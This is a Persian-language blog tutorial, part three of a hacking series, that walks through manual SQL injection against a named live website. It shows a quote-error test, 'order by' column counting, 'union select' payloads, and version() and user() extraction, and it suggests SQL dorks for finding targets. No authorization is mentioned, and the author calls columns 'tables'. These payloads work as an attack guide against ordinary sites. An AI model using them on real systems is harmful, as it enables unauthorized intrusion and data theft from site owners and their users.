وب سایت بروز
جستجو کردن
Close this search box.
جستجو کردن
Close this search box.

آموزش هک از مقدماتی تا پیشرفته ( قسمت سوم)

آموزش هک از مقدماتی تا پیشرفته ( قسمت سوم)
آموزش هک از مقدماتی تا پیشرفته ( قسمت سوم)
آموزش هک از مقدماتی تا پیشرفته ( قسمت سوم)

آموزش هک از مقدماتی تا پیشرفته ( قسمت سوم)

برای اینکه بعضی از بچه ها با درک مطالب بدون مثال مشکل داشتن قرار شد بعد از هر جلسه ی آموزش یک مثال هم گذاشته بشه براتون

خوب تو جلسه ی قبل یاد گرفتیم که چطوری آسیب پذیری یه سایت رو تست بزنیم

مثال قدم به قدم این آموزش به صورت زیر هستش :

اول یه تارگت رو انتخاب کردیم برای مثال :

کد:
http://www.coshuk.com

حالا سایت رو میگردیم تا قسمتی از سایت رو پیدا کنیم که URL اون دارای id=عدد باشه همونطور که گفته شده بود 

کد:
http://www.coshuk.com/html/images.php?id=27

خوب حالا برای اینکه ببینیم آسیب پذیری وجود داره یا نه باید یکی از پارامتر های درس قبلی رو اظافه کنیم و ببینیم که error میده یا نه
به این صورت : 

کد:
http://www.coshuk.com/html/images.php?id=27'

خوب همونطور که متوجه شدید ERROR زیر رو مشاهده میکنیم که به معنیه آسیب پذیر بودن سایت هستش :

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ” order by pk_image_id DESC’ at line 1

راستی اینم بگم که برای انتخاب تارگت میتونید از dork های sql استفاده کنید و برای یافتن باگ درون سایت از اسکنر استفاده کنید که آموزش اون هارو هم در پست های بعدی میدم …

 

قسمت بعدی کار ما شمردن table های سایت و یافتن تیبل های آسیب پذیر برای نفوذ هستش

برای این کار اولین قدم ما استفاده از دستور order by x هستش که به جای x یک عدد به صورت دلخواه میگذاریم

اگر سایت کامل Load شد یعنی تعداد table ها بیشتر از آن است و اگر سایت ناقص load شد یا اصلا load نشد به این معنا است که تعداد آن ها از آن عدد کمتر است …

برای مثال : 

کد:
www.site.com/html/images.php?id=27 order by 20--

اگر سایت کامل load نشه به این معناست که تعداد table ها کمتر از 20 است و ما اعداد را یکی یکی کم میکنیم تا تعداد table ها رو مشخص کنیم

فرض کنید که سایت در 15 به صورت کامل load نشه ولی در 14 به صورت کامل Load شه در این حالت نتیجه میگیریم که تعداد table ها 14 تا هستش ….

خوب دوستان این آموزش هم تموم شد

توی پست بعدی سعی میکنم یک مثال هم براتون پیدا کنم

 

تصمیم گرفتم رو همون مثال درس 1 دستورات درس دوم رو هم پیش برم که بهتر متوجه بشید

اگر یادتون باشه تو درس 1 تا اونجا پیشرفتیم که ERROR رو تو صفحه مشاهده کردیم به این صورت :

کد:
www.coshuk.com/html/images.php?id=27'

حالا میخواهیم با دستور order by x تـعداد table هامون رو مشخص کنیم

پس به این صورت عمل میکنیم :

کد:
http://www.coshuk.com/html/images.php?id=27 order by 20--

همونطور که مشاهده کردید error داد پس تعداد table ها کمتر از 20 هست

پس باید عدد رو کمتر کنیم

اگر یکی یکی تعداد اعداد رو کم کنیم تا جایی که دیگه error نده
اولین عددی که error نداد میشه شماره ی table ما

تو مثال ما : 

کد:
http://www.coshuk.com/html/images.php?id=27 order by 14--

در عدد 14 error میده

ولی تو عدد 13 error نمیده و سایت کامل Load میشه 

کد:
http://www.coshuk.com/html/images.php?id=27 order by 13--

پس تعداد table های ما 13 تا هست

اینم از مثال درس دوم

 

آموزش سوم در رابطه با پیدا کردن table های آسیب پذیر با دستور union select هستش

برای این کار پس از پیدا کردن تعداد table ها به صورت زیر عمل میکنیم :

کد:
www.site.com/html/images.php?id=-27 union select [ table ha be tartib ]

دقت کنید که قبل از شماره ی ایدی از یک منفی استفاده میشه

پس شما اگر فرض کنید که ما 10 table داشته باشیم دستور ما به این صورت خواهد بود :

کد:
www.site.com/html/images.php?id=-27 union select 1,2,3,4,5,6,7,8,9,10--

با این دستور اعدادی بر روی صفحه نمایان میشوند که همان شماره ی table ها ی اسیب پذیر هستن

تو پست بعدی یک مثال از این درس براتون میزارم تا کامل متوجه بشید

 

خوب دوستان ما تو مثال دوم با دستور order by تعداد table ها رو پیدا کردیم که 13 تا بود

حالا می خواهیم ببینیم کدوم یک از این 13 تا table آسیب پذیر هستش

برای این کار من با همون target قبلیمون پیش میرم و به صورت زیر دستور خودم رو وارد می کنم :

کد:
http://www.coshuk.com/html/images.php?id=-27 union select 1,2,3,4,5,6,7,8,9,10,11,12,13--

حالا اگه دقت کنید عدد 2 رو روی صفحه میبینید که شماره ی table آسیب پذیر ما هست و ما با استفاده از این table کد های خودمون رو اینجکت میکنیم

 

قبل از ادامه ی درس ها تصمیم گرفتم چند تا از دستورات مهم رو براتون تک تک با کارش توضیح بدم که درک بهتری از sql داشته باشید

خوب ما تا اونجا پیش رفتیم که تعداد table ها رو پیدا کردیم و table نفوذ پزیر رو مشخص کردیم

حالا یک سری دستور بهتون یاد میدم که برای جمع آوری اطلاعات به کار میره :

اولین دستور که استفادده میکنیم دستور () version هستش که همونطور که از اسمش مشخصه به ما ورژن دیتابیس رو مشخص می کنه

دونستن ورژن دیتابیس به ما تو بعضی از ریزه کاری های نفوذ کمک میکنه
برای مثال ورژن هایی با دیتابیس بالا ی 5 دارای یک دیتابیس جداگانه به نام informatin_schema هستند که اطلاعات مربوط به پیکر بندی سایت در آن قرار میگیرد و ما میتوانیم اسامی table ها رو با دستور مناسب از information_schemaدرخواست نماییم

ولی اگر ورژن دیتابیس از 5 پایین تر باشد پایگاه informatin_schema وجود نخواهد داشت و ما باید table ها رو حدس بزنیم که کار سختی برای یک هکر تازه کار است…

دستور بعدی دستور user () هستش که به ما اطلاعاتی از user ها ی اصلی سایت رو مشخص میکنه و زمانی به درد ما میخوره که ما نمیتونیم به سایت نفوذ کنیم ولی میتونیم این دستورات رو اجرا کنیم و با این کار ما اطلاعات جمع آوری میکنیم !!!

دستور سوم دستور () group_concat هستش که به ما تمامی اطلاعات فراخوانی شده رو از تمامی دیتابیس های سایت میده
مثلا اگر ما دستور user() رو اجرا کنیم و فقط یک یوزر به ما بده ما میتوانیم با دستور (()Group_concat(user تمامی یوزر های سایت رو در صورت وجود فراخوانی کنیم ….

تا همینجا اکتفا میکنم به این دستور ها ولی بهتون میگم که دستورات کاربردی بهتری وجود داره که من دیگه اینجا توضیح نمیدم تا مقداری از کار به عهده ی خود شما باشه ……

مثال اول برای دستور ()version هستش :

کد:
http://www.coshuk.com/html/images.php?id=-27 union select 1,version(),3,4,5,6,7,8,9,10,11,12,13--

خوب همونطور که مشاهده میکنید تارگت ما دارای ورژن دیتابیس 5 به بالا هستش که کار ما رو خیلی راحت تر میکنه

دستور دوم

دستور () user هستش که یوزر ها رو برامون لیست میکنه 

کد:
http://www.coshuk.com/html/images.php?id=-27 union select 1,user(),3,4,5,6,7,8,9,10,11,12,13

برای دستور سوم هم در جلسه ی چهارم آموزش sql مثال میزنم چون توضیحاتش مفصل تره

منبع اصلی آموزش : http://woc.ir/

آموزش دهنده : Amir HIJ4Ck

آموزش هک از مقدماتی تا پیشرفته ( قسمت سوم)

دیدگاهتان را بنویسید

نشانی ایمیل شما منتشر نخواهد شد. بخش‌های موردنیاز علامت‌گذاری شده‌اند *